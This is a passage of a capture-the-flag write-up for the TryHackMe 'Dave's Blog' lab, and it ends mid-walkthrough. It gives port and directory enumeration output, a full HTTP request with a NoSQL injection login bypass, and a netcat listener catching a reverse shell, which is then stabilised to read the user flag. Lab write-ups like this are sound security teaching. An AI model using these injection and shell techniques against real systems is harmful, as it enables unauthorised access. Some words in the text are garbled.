Today's problem is: https://tryhackme.com/room/davesblog
The following entry was added to the /etc/hosts file to simplify hostname-based interaction with the target system:
<TARGET_IP> dave.thmThe initial enumeration phase was started by performing a full port scan against the target machine using Nmap. The following commands were executed to identify open ports and active services:
nmap -p- --open blue.thm
nmap -sC -sV -p <OPEN_PORTS> blue.thm
┌──(root㉿vbox)-[~]
└─# nmap -p- --open dave.thm
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 19:09 +0530
Nmap scan report for dave.thm (10.49.137.114)
Host is up (0.037s latency).
Not shown: 65531 filtered tcp ports (no-response), 1 closed tcp port (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
3000/tcp open ppp
Nmap done: 1 IP address (1 host up) scanned in 171.35 seconds
┌──(root㉿vbox)-[~]
└─# nmap -sC -sV -p 22,80,3000 dave.thm
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-19 19:13 +0530
Nmap scan report for dave.thm (10.49.137.114)
Host is up (0.033s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f9:31:1f:9f:b4:a1:10:9d:a9:69:ec:d5:97:df:1a:34 (RSA)
| 256 e9:f5:b9:9e:39:33:00:d2:7f:cf:75:0f:7a:6d:1c:d3 (ECDSA)
|_ 256 44:f2:51:7f:de:78:94:b2:75:2b:a8:fe:25:18:51:49 (ED25519)
80/tcp open http nginx 1.14.0 (Ubuntu)
| http-robots.txt: 1 disallowed entry
|_/admin
|_http-title: Dave's Blog
|_http-server-header: nginx/1.14.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: Dave's Blog
| http-robots.txt: 1 disallowed entry
|_/admin
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 secondsThe scan revealed the following services running on the machine's open ports:
22 -> SSH
80,3000 -> HTTPA directory enumeration scan was also performed against the HTTP service using Gobuster to identify any further hidden or restricted endpoints on the HTTP port 3000.
┌──(root㉿vbox)-[~]
└─# gobuster dir -u http://dave.thm:3000 -w /usr/share/seclists/Discovery/Web-Content/big.txt
===============================================================
Gobuster v3.8.2
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://dave.thm:3000
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.8.2
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
ADMIN (Status: 200) [Size: 1254]
Admin (Status: 200) [Size: 1254]
admin (Status: 200) [Size: 1254]
images (Status: 301) [Size: 179] [--> /images/]
javascripts (Status: 301) [Size: 189] [--> /javascripts/]
robots.txt (Status: 200) [Size: 31]
stylesheets (Status: 301) [Size: 189] [--> /stylesheets/]
Progress: 20481 / 20481 (100.00%)
===============================================================
Finished
===============================================================It reveals an endpoint "/admin" which contains login page.
To streamline further exploitation and payload testing, Burp Suite was used to capture and manipulate the requests.
A request was sent then with demo login credentials, which reveals that a JSON Web Token was assigned as a cookie, to the user.
As provided in the hint on the website, the website is made on a NoSQL database, so anappropriatee payload was then used to gain logiaccessss to the website.
The header of the capture required was changed mentioned belowned, by updating the username and password payloads and changing the content type to accept JSON content, instead of URL-encoded content.
The updated request used to grab the admin token was:
POST /admin HTTP/1.1
Host: dave.thm:3000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 43
Origin: http://dave.thm:3000
Connection: keep-alive
Referer: http://dave.thm:3000/admin
Cookie: jwt=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpYXQiOjE3NzY2MTQ3MTB9.qq-Tvea34IfV7T57eI05ML8md2Jgg_i-8o-JfWrgBVY
Upgrade-Insecure-Requests: 1
Priority: u=0, i
{"username":"dave","password":{"$ne":null}}The request reveals the admin JWT token in the respons,e acting as a cookie.
The cookie can then be updated by going to Developer Tools -> Storage -> dave.thm -> Replace the already present token with the new token as shown below.

The FLAG 1 was captured from the decoded admin's JWT token.

Alternatively https://www.jwt.io can also be used to decrypt the JWT token.
After updating the cookie and refreshing the site, the website logs in the user andrevealsl command-lineng interface.
The code from the page source reveals the commands are being sent tothe JavaScript execution context.
<script>
document.querySelector('button').onclick = async () => {
const request = await fetch('/admin/exec', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({ exec: document.querySelector('input').value })
});
const response = await request.text();
document.querySelector('textarea').value = response;
}
</script>The request was then captured in BurpSuite, and the following payload was added to the request to get a proper system command execution.
The reverse shell was spawned by modifying the request as mentioned below:
The medium is having issues, the link to the github repo containg the request
will be updated here, alternatively, any reverse shell code can be copied from
online tools, and used.A Netcat listener was started on the attacker machine, and the reverse shell was triggered by sending the request from Burp's Repeater.
The reverse shell can be stabilised using the following commands:
python3 -c 'import pty; pty.spawn("/bin/bash")'
Ctrl+Z
stty raw -echo
fg
┌──(root㉿vbox)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.149.224] from (UNKNOWN) [10.48.178.8] 59792
bash: cannot set terminal process group (929): Inappropriate ioctl for device
bash: no job control in this shell
dave@daves-blog:~/blog$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
dave@daves-blog:~/blog$ ^Z
zsh: suspended nc -lvnp 4444
┌──(root㉿vbox)-[~]
└─# stty raw -echo
fg
[1] + continued nc -lvnp 4444
dave@daves-blog:~$ whoami
daveThe user flag can be obtained from the "/home/dave" directory:
dave@daves-blog:~$ whoami
dave
dave@daves-blog:~$ cd /home/dave/
dave@daves-blog:~$ cat user.txt
<<USER_FLAG>>As Medium is not responding today at all, the rest of the write-up will be updated here later.